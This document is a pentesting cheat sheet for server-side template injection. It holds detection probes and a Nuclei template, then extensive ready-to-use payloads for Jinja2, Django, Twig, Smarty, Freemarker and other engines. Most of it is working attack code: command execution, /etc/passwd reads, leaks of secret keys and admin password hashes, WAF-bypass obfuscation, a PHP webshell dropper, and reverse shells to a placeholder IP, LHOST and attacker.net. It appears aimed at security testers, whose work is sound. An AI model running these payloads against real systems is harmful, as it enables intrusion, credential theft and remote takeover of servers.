SSTI

Server Side Template Injection

Detection

${{<%[%'"}}@{%\.#{<%=

${{<%[%'"}}%\.

${{{<%[‘\’}}}

Error Message ? => SSTI confirmed

A Pentester’s Guide to Server Side Template Injection (SSTI) | CobaltCobalt

Fingerprint your template AND create a POC:

Template Engines Injection 101Medium

Nuclei Template

https://github.com/coffinxp/priv8-Nuclei/blob/main/reflection-ssti.yaml

id: reflection-ssti

info:
  name: Reflected SSTI Arithmetic Based
  author: pdteam
  severity: medium
  reference:
    - https://github.com/zaproxy/zap-extensions/blob/2d9898900abe85a47b9fe0ceb85ec39070816b98/addOns/ascanrulesAlpha/src/main/java/org/zaproxy/zap/extension/ascanrulesAlpha/SstiScanRule.java
    - https://github.com/DiogoMRSilva/websitesVulnerableToSSTI#list-of-seversneeds-update
  tags: ssti,dast

variables:
  first: "{{rand_int(1000, 9999)}}"
  second: "{{rand_int(1000, 9999)}}"
  result: "{{to_number(first)*to_number(second)}}"

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    skip-variables-check: true
    payloads:
      ssti:
        - '{{concat("${", "{{first}}*{{second}}", "}")}}'
        - '{{concat("{{", "{{first}}*{{second}}", "}}")}}'
        - '{{concat("<%=", "{{first}}*{{second}}", "%>")}}'
        - '{{concat("{", "{{first}}*{{second}}", "}")}}'
        - '{{concat("{{{", "{{first}}*{{second}}", "}}}")}}'
        - '{{concat("${{", "{{first}}*{{second}}", "}}")}}'
        - '{{concat("#{", "{{first}}*{{second}}", "}")}}'
        - '{{concat("[[", "{{first}}*{{second}}", "]]")}}'
        - '{{concat("{{=", "{{first}}*{{second}}", "}}")}}'
        - '{{concat("[[${", "{{first}}*{{second}}", "}]]")}}'
        - '{{concat("${xyz|", "{{first}}*{{second}}", "}")}}'
        - '{{concat("#set($x=", "{{first}}*{{second}}", ")${x}")}}'
        - '{{concat("@(", "{{first}}*{{second}}", ")")}}'
        - '{{concat("{@", "{{first}}*{{second}}", "}")}}'

    fuzzing:
      - part: query
        type: postfix
        fuzz:
          - "{{ssti}}"

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "{{result}}"
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Payloads

${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}

{{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
#{ 3 * 3 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{''.__class__.__base__.__subclasses__()}}
{{''.__class__.__base__.__subclasses__()[227]('cat /etc/passwd', shell=True, stdout=-1).communicate()}}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{{'a'.toUpperCase()}}
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"/etc/passwd\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

GitHub - payloadbox/ssti-payloads: 🎯 Server Side Template Injection PayloadsGitHub

Auto_Wordlists/wordlists/ssti.txt at main · carlospolop/Auto_WordlistsGitHub

payloads/ssti.txt at main · coffinxp/payloadsGitHub

PayloadsAllTheThings/Server Side Template Injection at master · swisskyrepo/PayloadsAllTheThingsGitHub

Django Templates engine

GitHub - Lifars/davdts: Simple Django to show post-exploitation options when server-side template injection (SSTI) is present in app using Django Templates.GitHub

Cross-site scripting

{{ '<script>alert(3)</script>' }}
{{ '<script>alert(3)</script>' | safe }}

Debug information leak

{% debug %}

Leaking app’s Secret Key (assumes CookieStorage being first message storage)

{{ messages.storages.0.signer.key }}

Admin Site URL leak

{% include 'admin/base.html' %}

Admin username & password hash leak (assumes `admin_log` records exist)

{% load log %}{% get_admin_log 10 as log %}{% for e in log %} {{e.user.get_username}} : {{e.user.password}}{% endfor %}

Only username

{%25+load+log+%25}{%25+get_admin_log+10+as+log+%25}{%25+for+e+in+log+%25}{{+e.user.username+}}{%25+endfor+%25}

Only password

{%25+load+log+%25}{%25+get_admin_log+10+as+log+%25}{%25+for+e+in+log+%25}{{+e.user.password+}}{%25+endfor+%25}

Jinja2

{% if 'chiv' == 'chiv' %} a {% endif %}
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
{{self.__init__.__globals__.__str__()[1786:1788]}}
{{self._TemplateReference_context.cycler._init_._globals_.os.popen("id").read()}}
## See below for explanation
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init_.__globals__.__str__()[51]+self.__init__.__globals__.str__()[34]).read()}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).read()}}

Index may vary depending on the target. Here index 51 is i and index34 is d == id

{{self.__init__.__globals__.str__()[51]+self.__init__._globals__.str__()[34]}}

https://www.youtube.com/watch?v=FVm6wYc1S6A

Jinja2 SSTI Research - HackMDHackMD

{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}

Vulnérabilités Python : Exécution de code dans les templates jinjaPodalirius

{{lipsum.__globals__["os"]}}

https://x.com/podalirius_/status/1655970628648697860

Cheatsheet - Flask & Jinja2 SSTIpequalsnp-team.github.io

A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Examplekleiber.me / Ingo Kleiber

CTFtime.org / Byte Bandits CTF 2018 / Hard_To_Hack / WriteupCTFtime

Ninja | CTFsctf.zeyu2001.com

Jinja2 SSTI - HackTricksbook.hacktricks.xyz

Objectwalker

GitHub - p0dalirius/objectwalker: A python module to explore the object tree to extract paths to interesting objects in memory.GitHub

RCE - Reverse Shell

echo 'bash -i >& /dev/tcp/LHOST/4444 0>&1' | base64

{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTA4LzQ0NDQgMD4mMQo=${IFS}|base64${IFS}-d|bash').read()}}

WAF Bypass

{%25+include+request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("sleep+5")|attr("read")()+%}

Mako

${str().join(chr(i)for(i)in[105,100])}
${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()}
<%import os%>${os.popen(str().join(chr(i)for(i)in[105,100])).read()}

PHP

{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Twig

{{["id"]|map("passthru")}}
{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}
{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}

Smarty

{chr(105)|cat:chr(100)}
{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}

Laravel - Blade

{{implode(null,array_map(chr(99).chr(104).chr(114),[105,100]))}}
{{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}

Java

Groovy

${((char)105).toString()+((char)100).toString()}
${x=new String();for(i in[105,100]){x+=((char)i)}}
${x=new String();for(i in[105,100]){x+=((char)i).toString()};x.execute().text}
${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}

Freemarker

${1?lower_abc}
${27?lower_abc}
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}

ASP.NET - Razor

@{string x=null;int[]l={119,104,111,97,109,105};foreach(int c in l){x+=((char)c).ToString();};}@x
@System.Diagnostics.Process.Start(_PROGRAM_,_COMMAND_);

Tools

Go-Recon

gr-ssti:

GitHub - D3Ext/go-recon: External recon toolkitGitHub

Tplmap

GitHub - epinna/tplmap: Server-Side Template Injection and Code Injection Detection and Exploitation ToolGitHub

tplmap -u https://target.com -p param

SSTImap

GitHub - vladko312/SSTImap: Automatic SSTI detection tool with interactive interfaceGitHub

SSTI-Detector

GitHub - faiyazahmad07/SSTI_DETECTOR: This tool allows you to find ssti vulnerability with ease!GitHub

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